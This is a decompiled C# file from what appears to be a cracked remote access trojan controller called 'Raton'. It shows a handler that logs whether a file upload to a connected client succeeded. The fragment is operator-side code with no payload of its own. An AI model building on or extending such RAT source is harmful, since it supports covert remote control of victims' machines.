37 lines
1.2 KiB
C#
37 lines
1.2 KiB
C#
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type: Server.Handlers.HandleUpload
|
||
|
|
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||
|
|
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||
|
|
|
||
|
|
using Raton.Forms.ClientForms.Misc;
|
||
|
|
using Server.Connection;
|
||
|
|
using Stuff;
|
||
|
|
using System;
|
||
|
|
using System.Drawing;
|
||
|
|
using System.Windows.Forms;
|
||
|
|
|
||
|
|
#nullable disable
|
||
|
|
namespace Server.Handlers;
|
||
|
|
|
||
|
|
internal class HandleUpload
|
||
|
|
{
|
||
|
|
public void Run(SillyClient SillyClient, Unpack unpack)
|
||
|
|
{
|
||
|
|
ratonFIle openForm = (ratonFIle) Application.OpenForms["File ID: " + unpack.GetAsString("DUID")];
|
||
|
|
if (openForm == null)
|
||
|
|
return;
|
||
|
|
if (openForm.SillyClient == null)
|
||
|
|
openForm.SillyClient = SillyClient;
|
||
|
|
if (unpack.GetAsBool("isOk"))
|
||
|
|
{
|
||
|
|
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "The file was uploaded successfully", (object) Color.LightGreen)));
|
||
|
|
}
|
||
|
|
else
|
||
|
|
{
|
||
|
|
openForm.Status("Our rats died. (Failed)");
|
||
|
|
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddErrorLog((object) "Failed to upload the file", (object) Color.Red)));
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|